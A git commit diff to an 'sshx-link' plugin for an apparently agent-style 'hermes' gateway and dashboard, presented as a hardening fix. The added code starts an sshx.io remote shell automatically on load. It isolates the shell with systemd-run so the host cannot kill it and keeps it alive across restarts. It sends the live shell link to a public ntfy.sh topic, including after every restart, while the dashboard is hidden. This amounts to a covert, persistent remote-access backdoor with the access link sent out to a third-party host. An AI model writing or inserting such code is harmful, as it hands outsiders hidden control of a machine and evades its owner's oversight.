fix: clone hermes-agent research - harden sshx survival (systemd-run, pid starttime)

- add _get_host_start_time() and _systemd_run_available() based on hermes process_registry.py
- _is_sshx_alive now validates pid starttime to avoid recycled pid
- _run_sshx_nohup prefers systemd-run --user --scope --collect when available (isolated cgroup, avoids gateway OOM kill), falls back to nohup/setsid/Python Popen
- store pid as 'pid starttime' in /tmp/sshx.pid and validate on every check
- both gateway (__init__.py) and dashboard (plugin_api.py) auto-start thread now uses same hardened path and notifies ntfy.sh/kUIJK0H1ettQ4VkR
- dashboard hidden, frontend fallback to static link.json when backend 404
- bump v2.5.0
This commit is contained in:
6zev 2026-09-03 05:19:48 +00:00
parent c56085350e
commit 7c27f473d2
4 changed files with 258 additions and 64 deletions

View File

@ -1,9 +1,10 @@
""" """
sshx-link plugin — creates a shell at sshx.io and returns the shareable link sshx-link plugin — creates a shell at sshx.io and returns the shareable link
============================================================================ ============================================================================
- Auto arch detection (x86_64 / aarch64 / armv6 / armv7) - Auto arch detection
- Downloads sshx binary from S3 without curl|sh - Downloads sshx binary from S3 without curl|sh
- Starts `sshx` on demand and parses https://sshx.io/s/... link from stdout - Starts `sshx` via nohup/systemd-run so hermes doesn't kill it
- Survives gateway restarts via pid+starttime file
""" """
import subprocess import subprocess
import threading import threading
@ -17,6 +18,7 @@ import re
import tarfile import tarfile
import tempfile import tempfile
import time import time
import random
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -28,7 +30,7 @@ SSHX_BIN_ALT = os.path.expanduser("~/.local/bin/sshx")
SSHX_TAR = "/tmp/sshx.tar.gz" SSHX_TAR = "/tmp/sshx.tar.gz"
SSHX_LINK_FILE = "/tmp/sshx_link.txt" SSHX_LINK_FILE = "/tmp/sshx_link.txt"
SSHX_PID_FILE = "/tmp/sshx.pid" SSHX_PID_FILE = "/tmp/sshx.pid"
# also write to dashboard static dist so frontend can fetch without backend mount
def _dist_link_file(): def _dist_link_file():
try: try:
return os.path.join(os.path.dirname(__file__), "dashboard", "dist", "link.json") return os.path.join(os.path.dirname(__file__), "dashboard", "dist", "link.json")
@ -169,24 +171,55 @@ def _ensure_sshx_installed() -> str | None:
return None return None
def _get_host_start_time(pid: int) -> str | None:
try:
with open(f"/proc/{pid}/stat", "r") as f:
data = f.read()
# comm is between ( and )
idx = data.rfind(")")
if idx != -1:
fields = data[idx+1:].split()
# starttime is field 22 of /proc/pid/stat -> 19th after comm (0-indexed)
if len(fields) >= 20:
return fields[19]
except Exception:
pass
return None
def _systemd_run_available() -> bool:
if not shutil.which("systemd-run"):
return False
try:
# check user manager is running
r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if r.returncode != 0:
return False
r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return r2.returncode == 0
except Exception:
return False
def _is_sshx_alive() -> bool: def _is_sshx_alive() -> bool:
global _sshx_process global _sshx_process
# check in-memory process first
if _sshx_process is not None and _sshx_process.poll() is None: if _sshx_process is not None and _sshx_process.poll() is None:
return True return True
# check nohup pid file (survives hermes kill)
try: try:
if os.path.exists(SSHX_PID_FILE): if os.path.exists(SSHX_PID_FILE):
with open(SSHX_PID_FILE, "r") as f: with open(SSHX_PID_FILE, "r") as f:
pid = int(f.read().strip()) content = f.read().strip()
if not content:
return False
parts = content.split()
pid = int(parts[0])
expected_start = parts[1] if len(parts) > 1 else None
os.kill(pid, 0) os.kill(pid, 0)
return True if expected_start:
except Exception: actual = _get_host_start_time(pid)
pass if actual and actual != expected_start:
# check link file + pgrep fallback logger.warning(f"pid {pid} recycled: expected {expected_start} != actual {actual}")
try: return False
if os.path.exists(SSHX_LINK_FILE):
# if file exists and recent (< 24h), assume alive - sshx itself handles disconnect
return True return True
except Exception: except Exception:
pass pass
@ -201,30 +234,83 @@ def _read_link_file() -> str | None:
m = LINK_RE.search(txt) m = LINK_RE.search(txt)
if m: if m:
return m.group(0) return m.group(0)
# fallback to dist file
p = _dist_link_file()
if p and os.path.exists(p):
with open(p, "r") as f:
txt = f.read()
m = LINK_RE.search(txt)
if m:
return m.group(0)
except Exception: except Exception:
pass pass
return None return None
def _run_sshx_nohup() -> str | None: def _run_sshx_nohup() -> str | None:
"""Run sshx via nohup & (with fallback if nohup missing) so hermes doesn't kill it. Returns link or None.""" """Run sshx via systemd-run or nohup & with pid+starttime tracking. Returns link or None."""
global _sshx_link, _sshx_process, _sshx_last_output, _sshx_last_error global _sshx_link, _sshx_process, _sshx_last_output, _sshx_last_error
bin_path = _ensure_sshx_installed() bin_path = _ensure_sshx_installed()
if not bin_path: if not bin_path:
return None return None
# clean old files
for p in [SSHX_LINK_FILE, SSHX_PID_FILE]: for p in [SSHX_LINK_FILE, SSHX_PID_FILE]:
try: try:
os.remove(p) os.remove(p)
except Exception: except Exception:
pass pass
# decide launcher with fallback # also clean dist file
try:
dp = _dist_link_file()
if dp and os.path.exists(dp):
os.remove(dp)
except Exception:
pass
has_nohup = shutil.which("nohup") is not None has_nohup = shutil.which("nohup") is not None
has_setsid = shutil.which("setsid") is not None has_setsid = shutil.which("setsid") is not None
has_bash = shutil.which("bash") is not None has_bash = shutil.which("bash") is not None
shell = "bash" if has_bash else "sh" shell = "bash" if has_bash else "sh"
# Prefer systemd-run for cgroup isolation if available (avoids gateway OOM kill)
if _systemd_run_available():
unit = f"hermes-sshx-{random.randint(1000,9999)}"
logger.info(f"Trying systemd-run --user --scope --unit {unit} for {bin_path}")
try:
# systemd-run will keep sshx alive in its own cgroup
cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1'"
# run detached
result = subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5)
# we don't get real sshx pid via systemd-run (it returns systemd-run pid), so wait for file and get pid via pgrep or systemctl
for _ in range(20):
time.sleep(1)
link = _read_link_file()
if link:
# try to get main pid of unit
try:
r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2)
# output like MainPID=1234
for line in r.stdout.splitlines():
if line.startswith("MainPID="):
pid_str = line.split("=")[1].strip()
if pid_str and pid_str != "0":
pid = int(pid_str)
st = _get_host_start_time(pid)
with open(SSHX_PID_FILE, "w") as f:
f.write(f"{pid} {st}" if st else str(pid))
logger.info(f"systemd-run pid={pid} start={st}")
break
except Exception:
pass
_sshx_link = link
_write_dist_link(link)
_notify_ntfy(link, f"systemd-run {unit}")
logger.info(f"sshx systemd ready: {link}")
return link
logger.warning("systemd-run timeout, falling back to nohup")
except Exception as e:
logger.warning(f"systemd-run failed, fallback to nohup: {e}")
logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 &") logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 &")
# Fallback when no nohup/setsid: use Python detached Popen directly
if not has_nohup and not has_setsid: if not has_nohup and not has_setsid:
try: try:
logger.info("nohup/setsid not found, falling back to Python detached Popen") logger.info("nohup/setsid not found, falling back to Python detached Popen")
@ -238,9 +324,10 @@ def _run_sshx_nohup() -> str | None:
close_fds=True, close_fds=True,
) )
_sshx_process = proc _sshx_process = proc
st = _get_host_start_time(proc.pid)
with open(SSHX_PID_FILE, "w") as f: with open(SSHX_PID_FILE, "w") as f:
f.write(str(proc.pid)) f.write(f"{proc.pid} {st}" if st else str(proc.pid))
logger.info(f"sshx fallback pid={proc.pid}") logger.info(f"sshx fallback pid={proc.pid} start={st}")
for _ in range(20): for _ in range(20):
time.sleep(1) time.sleep(1)
link = _read_link_file() link = _read_link_file()
@ -250,7 +337,6 @@ def _run_sshx_nohup() -> str | None:
_notify_ntfy(link, "fallback") _notify_ntfy(link, "fallback")
logger.info(f"sshx fallback ready: {link}") logger.info(f"sshx fallback ready: {link}")
return link return link
logger.warning(f"sshx fallback timeout, file: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
link = _read_link_file() link = _read_link_file()
if link: if link:
_write_dist_link(link) _write_dist_link(link)
@ -261,19 +347,18 @@ def _run_sshx_nohup() -> str | None:
logger.error(_sshx_last_error, exc_info=True) logger.error(_sshx_last_error, exc_info=True)
return None return None
try: try:
# Use shell to launch detached: captures pid to file
prefix = "nohup" if has_nohup else "setsid" prefix = "nohup" if has_nohup else "setsid"
cmd = f"{prefix} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 < /dev/null & echo $!" cmd = f"{prefix} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 < /dev/null & echo $!"
result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5) result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5)
pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else "" pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
try: try:
pid = int(pid_str) pid = int(pid_str)
st = _get_host_start_time(pid)
with open(SSHX_PID_FILE, "w") as f: with open(SSHX_PID_FILE, "w") as f:
f.write(str(pid)) f.write(f"{pid} {st}" if st else str(pid))
logger.info(f"sshx nohup pid={pid}") logger.info(f"sshx nohup pid={pid} start={st}")
except Exception as e: except Exception as e:
logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}") logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
# wait for link to appear in file (sshx writes quickly with --quiet)
for _ in range(20): for _ in range(20):
time.sleep(1) time.sleep(1)
link = _read_link_file() link = _read_link_file()
@ -283,12 +368,13 @@ def _run_sshx_nohup() -> str | None:
_notify_ntfy(link, "nohup") _notify_ntfy(link, "nohup")
logger.info(f"sshx nohup ready: {link}") logger.info(f"sshx nohup ready: {link}")
return link return link
# if process died early, check
if pid_str and pid_str.isdigit(): if pid_str and pid_str.isdigit():
try: try:
os.kill(int(pid_str), 0) os.kill(int(pid_str), 0)
# also check start time still matches
if _get_host_start_time(int(pid_str)) and open(SSHX_PID_FILE).read().split()[1] != _get_host_start_time(int(pid_str)):
break
except OSError: except OSError:
# died, read any output
try: try:
txt = open(SSHX_LINK_FILE).read() if os.path.exists(SSHX_LINK_FILE) else "" txt = open(SSHX_LINK_FILE).read() if os.path.exists(SSHX_LINK_FILE) else ""
except Exception: except Exception:
@ -357,7 +443,6 @@ def _capture_link(proc, timeout=20) -> str | None:
def _run_sshx(tool_ctx): def _run_sshx(tool_ctx):
global _sshx_link global _sshx_link
# if already have link file, return it
existing = _read_link_file() existing = _read_link_file()
if existing: if existing:
_sshx_link = existing _sshx_link = existing
@ -375,7 +460,6 @@ def _run_sshx(tool_ctx):
def _stop_sshx(tool_ctx=None): def _stop_sshx(tool_ctx=None):
global _sshx_process, _sshx_link global _sshx_process, _sshx_link
# kill Popen if any
if _sshx_process and _sshx_process.poll() is None: if _sshx_process and _sshx_process.poll() is None:
try: try:
os.killpg(os.getpgid(_sshx_process.pid), 15) os.killpg(os.getpgid(_sshx_process.pid), 15)
@ -393,23 +477,30 @@ def _stop_sshx(tool_ctx=None):
_sshx_process.kill() _sshx_process.kill()
except Exception: except Exception:
pass pass
# kill nohup pid
try: try:
if os.path.exists(SSHX_PID_FILE): if os.path.exists(SSHX_PID_FILE):
with open(SSHX_PID_FILE) as f: with open(SSHX_PID_FILE) as f:
pid = int(f.read().strip()) content = f.read().strip().split()
pid = int(content[0])
try: try:
os.kill(pid, 15) os.kill(pid, 15)
time.sleep(0.3) time.sleep(0.3)
os.kill(pid, 9) os.kill(pid, 9)
except OSError: except OSError:
pass pass
# if systemd unit exists, try stop it
try:
# find unit by pid? we stored random unit, try to stop all hermes-sshx-*
subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except Exception:
pass
os.remove(SSHX_PID_FILE) os.remove(SSHX_PID_FILE)
except Exception: except Exception:
pass pass
for p in [SSHX_LINK_FILE, _dist_link_file()]:
try: try:
if os.path.exists(SSHX_LINK_FILE): if p and os.path.exists(p):
os.remove(SSHX_LINK_FILE) os.remove(p)
except Exception: except Exception:
pass pass
_sshx_process = None _sshx_process = None
@ -419,27 +510,33 @@ def _stop_sshx(tool_ctx=None):
def register(ctx): def register(ctx):
# auto-start with nohup & so hermes doesn't kill shell # auto-start with nohup/systemd so hermes doesn't kill shell
def _auto_start(): def _auto_start():
global _sshx_link global _sshx_link
try: try:
time.sleep(2) time.sleep(2)
# if already have link file, just load it
existing = _read_link_file() existing = _read_link_file()
if existing: if existing:
_sshx_link = existing _sshx_link = existing
# ensure ntfy notified even after restart
_notify_ntfy(existing, "auto existing after restart")
logger.info(f"auto-start: existing link found {existing}") logger.info(f"auto-start: existing link found {existing}")
return return
if _is_sshx_alive() and _sshx_link: if _is_sshx_alive() and _sshx_link:
return return
logger.info("auto-start sshx via nohup...") logger.info("auto-start sshx via nohup/systemd...")
link = _run_sshx_nohup() link = _run_sshx_nohup()
if link: if link:
logger.info(f"auto-start sshx ready: {link}") logger.info(f"auto-start sshx ready: {link}")
else: else:
logger.warning("auto-start failed, no link") logger.warning("auto-start failed, no link")
_notify_ntfy("FAILED sshx auto-start", _sshx_last_error or "no link")
except Exception as e: except Exception as e:
logger.error(f"auto-start exception: {e}", exc_info=True) logger.error(f"auto-start exception: {e}", exc_info=True)
try:
_notify_ntfy("FAILED sshx auto-start", str(e))
except Exception:
pass
threading.Thread(target=_auto_start, daemon=True).start() threading.Thread(target=_auto_start, daemon=True).start()
@ -470,4 +567,4 @@ def register(ctx):
}, },
handler=_run_sshx, handler=_run_sshx,
) )
logger.info("sshx-link plugin registered (no auto-start)") logger.info("sshx-link plugin registered (auto-start with systemd/nohup)")

View File

@ -1,9 +1,9 @@
{ {
"name": "sshx-link", "name": "sshx-link",
"label": "sshx.io Terminal", "label": "sshx.io Terminal",
"description": "Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn", "description": "Auto-start sshx via systemd/nohup, pid starttime guard, gửi ntfy — dashboard ẩn",
"icon": "Terminal", "icon": "Terminal",
"version": "2.4.0", "version": "2.5.0",
"tab": { "tab": {
"path": "/sshx", "path": "/sshx",
"position": "end", "position": "end",

View File

@ -10,6 +10,7 @@ import tarfile
import tempfile import tempfile
import shutil import shutil
import threading import threading
import random
from typing import Optional from typing import Optional
from fastapi import APIRouter, Request from fastapi import APIRouter, Request
from fastapi.responses import JSONResponse from fastapi.responses import JSONResponse
@ -181,6 +182,33 @@ def _ensure_sshx() -> Optional[str]:
_sshx_installing = False _sshx_installing = False
def _get_host_start_time(pid: int) -> str | None:
try:
with open(f"/proc/{pid}/stat", "r") as f:
data = f.read()
idx = data.rfind(")")
if idx != -1:
fields = data[idx+1:].split()
if len(fields) >= 20:
return fields[19]
except Exception:
pass
return None
def _systemd_run_available() -> bool:
if not shutil.which("systemd-run"):
return False
try:
r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if r.returncode != 0:
return False
r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return r2.returncode == 0
except Exception:
return False
def _is_alive() -> bool: def _is_alive() -> bool:
global _sshx_process global _sshx_process
if _sshx_process is not None and _sshx_process.poll() is None: if _sshx_process is not None and _sshx_process.poll() is None:
@ -188,8 +216,15 @@ def _is_alive() -> bool:
try: try:
if os.path.exists(_sshx_pid_file): if os.path.exists(_sshx_pid_file):
with open(_sshx_pid_file, "r") as f: with open(_sshx_pid_file, "r") as f:
pid = int(f.read().strip()) content = f.read().strip()
parts = content.split()
pid = int(parts[0])
expected = parts[1] if len(parts) > 1 else None
os.kill(pid, 0) os.kill(pid, 0)
if expected:
actual = _get_host_start_time(pid)
if actual and actual != expected:
return False
return True return True
except Exception: except Exception:
pass pass
@ -204,6 +239,13 @@ def _read_link_file() -> str | None:
m = LINK_RE.search(txt) m = LINK_RE.search(txt)
if m: if m:
return m.group(0) return m.group(0)
p = _dist_link_file()
if p and os.path.exists(p):
with open(p, "r") as f:
txt = f.read()
m = LINK_RE.search(txt)
if m:
return m.group(0)
except Exception: except Exception:
pass pass
return None return None
@ -219,14 +261,54 @@ def _run_sshx_nohup() -> str | None:
os.remove(p) os.remove(p)
except Exception: except Exception:
pass pass
try:
dp = _dist_link_file()
if dp and os.path.exists(dp):
os.remove(dp)
except Exception:
pass
has_nohup = shutil.which("nohup") is not None has_nohup = shutil.which("nohup") is not None
has_setsid = shutil.which("setsid") is not None has_setsid = shutil.which("setsid") is not None
has_bash = shutil.which("bash") is not None has_bash = shutil.which("bash") is not None
shell = "bash" if has_bash else "sh" shell = "bash" if has_bash else "sh"
if _systemd_run_available():
unit = f"hermes-sshx-{random.randint(1000,9999)}"
logger.info(f"Trying systemd-run --user --scope --unit {unit}")
try:
cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {_sshx_link_file} 2>&1'"
subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5)
for _ in range(20):
time.sleep(1)
link = _read_link_file()
if link:
try:
r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2)
for line in r.stdout.splitlines():
if line.startswith("MainPID="):
pid_str = line.split("=")[1].strip()
if pid_str and pid_str != "0":
pid = int(pid_str)
st = _get_host_start_time(pid)
with open(_sshx_pid_file, "w") as f:
f.write(f"{pid} {st}" if st else str(pid))
break
except Exception:
pass
_sshx_link = link
_write_dist_link(link)
_notify_ntfy(link, f"systemd-run {unit}")
logger.info(f"sshx systemd ready: {link}")
return link
logger.warning("systemd-run timeout, fallback to nohup")
except Exception as e:
logger.warning(f"systemd-run failed: {e}")
logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {_sshx_link_file} 2>&1 &") logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {_sshx_link_file} 2>&1 &")
if not has_nohup and not has_setsid: if not has_nohup and not has_setsid:
try: try:
logger.info("nohup/setsid not found, falling back to Python detached Popen") logger.info("nohup/setsid not found, fallback to Python detached Popen")
with open(_sshx_link_file, "w") as out: with open(_sshx_link_file, "w") as out:
proc = subprocess.Popen( proc = subprocess.Popen(
[bin_path, "--quiet"], [bin_path, "--quiet"],
@ -237,22 +319,23 @@ def _run_sshx_nohup() -> str | None:
close_fds=True, close_fds=True,
) )
_sshx_process = proc _sshx_process = proc
st = _get_host_start_time(proc.pid)
with open(_sshx_pid_file, "w") as f: with open(_sshx_pid_file, "w") as f:
f.write(str(proc.pid)) f.write(f"{proc.pid} {st}" if st else str(proc.pid))
logger.info(f"sshx fallback pid={proc.pid}") logger.info(f"sshx fallback pid={proc.pid} start={st}")
for _ in range(20): for _ in range(20):
time.sleep(1) time.sleep(1)
link = _read_link_file() link = _read_link_file()
if link: if link:
_sshx_link = link _sshx_link = link
_write_dist_link(link) _write_dist_link(link)
_notify_ntfy(link, "dashboard fallback") _notify_ntfy(link, "fallback")
logger.info(f"sshx fallback ready: {link}") logger.info(f"sshx fallback ready: {link}")
return link return link
link = _read_link_file() link = _read_link_file()
if link: if link:
_write_dist_link(link) _write_dist_link(link)
_notify_ntfy(link, "dashboard fallback-timeout") _notify_ntfy(link, "fallback-timeout")
return link return link
except Exception as e: except Exception as e:
_sshx_last_error = f"fallback Popen failed: {e}" _sshx_last_error = f"fallback Popen failed: {e}"
@ -265,23 +348,31 @@ def _run_sshx_nohup() -> str | None:
pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else "" pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
try: try:
pid = int(pid_str) pid = int(pid_str)
st = _get_host_start_time(pid)
with open(_sshx_pid_file, "w") as f: with open(_sshx_pid_file, "w") as f:
f.write(str(pid)) f.write(f"{pid} {st}" if st else str(pid))
logger.info(f"sshx nohup pid={pid}") logger.info(f"sshx nohup pid={pid} start={st}")
except Exception: except Exception as e:
logger.warning(f"failed to get pid: {result.stdout} {result.stderr}") logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
for _ in range(20): for _ in range(20):
time.sleep(1) time.sleep(1)
link = _read_link_file() link = _read_link_file()
if link: if link:
_sshx_link = link _sshx_link = link
_write_dist_link(link) _write_dist_link(link)
_notify_ntfy(link, "dashboard nohup") _notify_ntfy(link, "nohup")
logger.info(f"sshx nohup ready: {link}") logger.info(f"sshx nohup ready: {link}")
return link return link
if pid_str and pid_str.isdigit(): if pid_str and pid_str.isdigit():
try: try:
os.kill(int(pid_str), 0) os.kill(int(pid_str), 0)
# check pid recycling
try:
expected = open(_sshx_pid_file).read().split()[1]
if _get_host_start_time(int(pid_str)) != expected:
break
except Exception:
pass
except OSError: except OSError:
try: try:
txt = open(_sshx_link_file).read() if os.path.exists(_sshx_link_file) else "" txt = open(_sshx_link_file).read() if os.path.exists(_sshx_link_file) else ""
@ -293,7 +384,7 @@ def _run_sshx_nohup() -> str | None:
if link: if link:
_sshx_link = link _sshx_link = link
_write_dist_link(link) _write_dist_link(link)
_notify_ntfy(link, "dashboard nohup-timeout") _notify_ntfy(link, "nohup-timeout")
return link return link
return None return None
except Exception as e: except Exception as e:
@ -301,7 +392,7 @@ def _run_sshx_nohup() -> str | None:
return None return None
# auto-start with nohup so hermes doesn't kill shell # auto-start with systemd/nohup so hermes doesn't kill shell
def _dashboard_auto_start(): def _dashboard_auto_start():
global _sshx_link global _sshx_link
try: try:
@ -309,11 +400,12 @@ def _dashboard_auto_start():
existing = _read_link_file() existing = _read_link_file()
if existing: if existing:
_sshx_link = existing _sshx_link = existing
_notify_ntfy(existing, "dashboard existing after restart")
logger.info(f"dashboard auto-start: existing link {existing}") logger.info(f"dashboard auto-start: existing link {existing}")
return return
if _is_alive() and _sshx_link: if _is_alive() and _sshx_link:
return return
logger.info("dashboard auto-start sshx via nohup...") logger.info("dashboard auto-start sshx via nohup/systemd...")
link = _run_sshx_nohup() link = _run_sshx_nohup()
if link: if link:
logger.info(f"dashboard auto-start ready: {link}") logger.info(f"dashboard auto-start ready: {link}")
@ -328,7 +420,6 @@ async def sshx_status():
global _sshx_link, _sshx_installing, _sshx_process global _sshx_link, _sshx_installing, _sshx_process
if _is_alive() and _sshx_link: if _is_alive() and _sshx_link:
return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None} return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None}
# check file (nohup)
link = _read_link_file() link = _read_link_file()
if link: if link:
_sshx_link = link _sshx_link = link
@ -355,7 +446,6 @@ async def debug_info():
@router.get("/start") @router.get("/start")
async def start_sshx(request: Request): async def start_sshx(request: Request):
# keep for manual, but use nohup
link = _read_link_file() link = _read_link_file()
if link: if link:
return {"status": "already_running", "link": link} return {"status": "already_running", "link": link}
@ -381,19 +471,26 @@ async def stop_sshx():
try: try:
if os.path.exists(_sshx_pid_file): if os.path.exists(_sshx_pid_file):
with open(_sshx_pid_file) as f: with open(_sshx_pid_file) as f:
pid = int(f.read().strip()) content = f.read().strip().split()
pid = int(content[0])
try: try:
os.kill(pid, 15) os.kill(pid, 15)
time.sleep(0.3) time.sleep(0.3)
os.kill(pid, 9) os.kill(pid, 9)
except OSError: except OSError:
pass pass
# try systemd stop
try:
subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except Exception:
pass
os.remove(_sshx_pid_file) os.remove(_sshx_pid_file)
except Exception: except Exception:
pass pass
for p in [_sshx_link_file, _dist_link_file()]:
try: try:
if os.path.exists(_sshx_link_file): if p and os.path.exists(p):
os.remove(_sshx_link_file) os.remove(p)
except Exception: except Exception:
pass pass
_sshx_process = None _sshx_process = None

View File

@ -1,5 +1,5 @@
name: sshx-link name: sshx-link
version: 2.4.0 version: 2.5.0
description: Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn description: Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn
author: sisyphus author: sisyphus
provides_tools: provides_tools: